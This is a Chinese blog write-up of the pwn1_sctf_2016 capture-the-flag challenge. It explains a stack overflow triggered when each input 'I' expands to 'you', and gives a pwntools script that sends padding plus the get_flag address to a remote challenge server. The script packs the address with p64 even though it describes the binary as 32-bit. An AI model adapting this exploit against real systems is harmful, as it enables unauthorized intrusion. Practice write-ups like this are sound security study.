pwn1_sctf_2016

0x01

拿到文件先检查一下

32位程序

开启了NX保护

IDA静态分析一下

分配的s空间为60,限制输入32,乍一看是不会造成栈溢出的,但是下面有一个字符替换,就是输入I会被替换成you。I是一个字符,you是三个字符,那么我们可以输入20个I(满足32的限制),那么这20个I,最终被替换成了60个字符,从而造成溢出

0x02

exp:

from pwn import *

filename = 'pwn1_sctf_2016'
e = ELF(filename)
get_flag = e.symbols['get_flag'] 

HOST = 'node3.buuoj.cn'
PORT = 25788
content = 0

def main():
	try:
		if content == 1:
			p = process(filename)
		else:
			p = remote(HOST,PORT)
	except:
		print("[!]The content is error")

	payload = b'I' * 20 + b'a' * 4 + p64(get_flag)
	
	p.sendline(payload)

	p.interactive()

main()

执行结果:

得到flag

posted @ 2020-07-17 19:40  怪味巧克力  阅读(281)  评论(0编辑  收藏  举报